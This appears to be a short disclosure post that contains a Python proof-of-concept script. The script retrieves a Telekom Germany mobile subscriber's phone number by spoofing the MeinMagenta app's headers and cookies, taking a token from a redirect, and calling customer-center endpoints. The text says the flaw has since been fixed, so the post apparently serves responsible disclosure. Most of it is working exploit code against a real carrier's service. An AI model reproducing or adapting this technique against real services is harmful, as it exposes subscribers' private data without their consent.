Very simple PoC to retrieve a telekom germany subscribers' phone number

telekom_msisdn.py

import json
import requests
from urllib.parse import urlparse, parse_qs

headers = {
    'User-Agent': 'MeinMagenta/7.24 CFNetwork/1107.1 Darwin/19.0.0',
    'Host': 'example.de',  #sic! server does not look at Host header as it seems
}

params = (
    ('followURL', 'https://kundencenter.telekom.de'),
)

session = requests.Session()

response = session.get('https://mobile-token.telekom.de/its', headers=headers, params=params, allow_redirects=False)

parsed_location_url = urlparse(response.headers["Location"])
parsed_location_params = parse_qs(parsed_location_url.query)
token = parsed_location_params["dt-id"][0]

cookies = {
    'APP_VERSION': '7.24',
    'CLIENT_VERSION': '7.24',
    'OS_VERSION': '13.1.3',
    'clientID': 'KCAPP_IOS_201509',
}

for key,value in cookies.items():
    session.cookies.set(key,value)

headers = {
    'User-Agent': 'MeinMagenta/7.24 CFNetwork/1107.1 Darwin/19.0.0',
    'Host': 'example.de',  #sic! server does not look at Host header as it seems
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',
}

data = {
  'type': 'identifierToken',
  'token': token,
  'followURL': 'https://kundencenter.telekom.de'
}

response = session.post('https://kundencenter.telekom.de/dds/v2/login', headers=headers, data=data)

session_cookie = json.loads(response.text)["sessionID"]

response = json.loads(session.get('https://kundencenter.telekom.de/dds/v2/consumptionAndPassOffersWithoutLogin', headers=headers).text)

print(response["consumptionData"]["msisdn"])

Oooweee!!!

PSA: This has been fixed. Thanks for the cooperation, DTAG!